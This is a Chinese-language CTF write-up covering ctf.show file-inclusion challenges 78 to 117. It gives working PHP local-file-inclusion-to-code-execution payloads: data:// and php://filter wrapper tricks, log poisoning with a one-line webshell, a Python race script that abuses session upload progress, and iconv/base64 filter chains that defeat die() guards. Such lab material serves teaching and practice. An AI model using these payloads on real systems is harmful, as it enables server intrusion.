ctf_show-文件包含-78-117
78

伪协议读取
79

过滤了php,不能直接伪协议base64读了,可以用data://text/plain;执行命令
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
80

又过滤了data,可以用日志包含
?file=/var/log/nginx/access.log
burp抓包传入一句话木马

a=system(ls);



81

又过滤了: 还是针对伪协议
但是日志包含还能用
82

过滤了小数点,无法访问日志; 可以用session包含
可以看这篇文章
具体可以脚本跑,也可以burp手动竞争

脚本如下:
import io import sys import requests import threading sessid = 'rainy' def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://18cb58ac-e4a1-48b1-8b06-cd85eb6fbf09.challenge.ctf.show:8080/', data={"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat *');?>"}, files={"file": ('q.txt', f)}, cookies={'PHPSESSID': sessid} ) def READ(session): while True: response = session.get(f'http://18cb58ac-e4a1-48b1-8b06-cd85eb6fbf09.challenge.ctf.show:8080/?file=/tmp/sess_{sessid}') #if 'index' not in response.text: if (len(response.text)==0): print('[+++]retry') #print(len(response.text)) else: print(response.text) sys.exit(0) with requests.session() as session: evnet = threading.Event() with requests.session() as session: for i in range(20): threading.Thread(target=POST, args=(session,)).start() for i in range(20): threading.Thread(target=READ, args=(session,)).start() evnet.set()
83

session_unregister是注销一个session变量;
session_destroy是注销所有的session变量,并且结束session会话;
session_unset()并不注销session变量,但把所有的session变量的值清空.
脚本爆破
84

在包含前删除tmp下的内容,但是由于多线程,仍然有概率成功,脚本见上
85

加了个检测,但是貌似意义不明,继续脚本
86

限制了文件包含的路径,但是对脚本没影响。
可能的原因:
平时include()/require()文件的时候,PHP先会在当前目录下找找有没有这个路径,如果没有,然后就会在include paths里面找
所谓的include paths不是一个目录,而是很多个目录,这些目录可以通过get_include_path();得到。
87:
这里有两篇很好的参考文章
这一题不是就直接include,是给定的函数读取文件内容
传入两个参数file是文件名,content和一句退出的代码合在一起作为写入的内容
先看前面对file进行一次url解码,这就是绕过前面几个替换的关键。注意游览器本身会进行一次url解码,所以要传入2次url编码的数据,另外注意不少在线url编码只会对特殊符号编码,不会对php这类的字母进行编码
但是传入的文件开头是die代码,要想办法饶过他。
这里有不少办法,比较常用的是有伪协议先对传入的内容进行一次base64解码,就是file=php://filter/write=convert.base64-decode/resource=1.php
content内容就会先进行一个base64解码在传入,这里是base64只会解码b ,ase64编码后可能出现的字母(数字,字母和+ / =),所以加入的<? ;?>会被无视掉,base64是将3个字符24位转化位4个字符,反过来就是将4个字符传化位3个字符,这里除了特殊符号就是phpdie6个字符,因此要加上两个字符构成4的倍数来“吃掉”前面字符,后面加上想执行指令的base64密文即可
file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
content=aaPD89IHN5c3RlbSgnbHMnKTs/Pg==


88

过滤了一大堆符号,但是能有data协议可用(由于:没用过滤),base64传入,注意尾巴不能有等于号,(base64末尾去掉等于号也能正常解密的)
可能有+和/可以加空格来去掉
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpICA7Pz4


116
进去是个视频播放器

右键另存为,然后能提取出来一个png图片


直接file=flag.php即可

117

和87很像,但是不能用base64了,rot13啥的都被过滤了。
这里看wp,参见这篇文章的convert.iconv.
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php post:contents=?<hp pvela$(P_SO[T]1;)>?
file用convert.iconv,主要作用就是两位交换,我们代码交换回复原样,而die代码就乱序无法生效了


浙公网安备 33010602011771号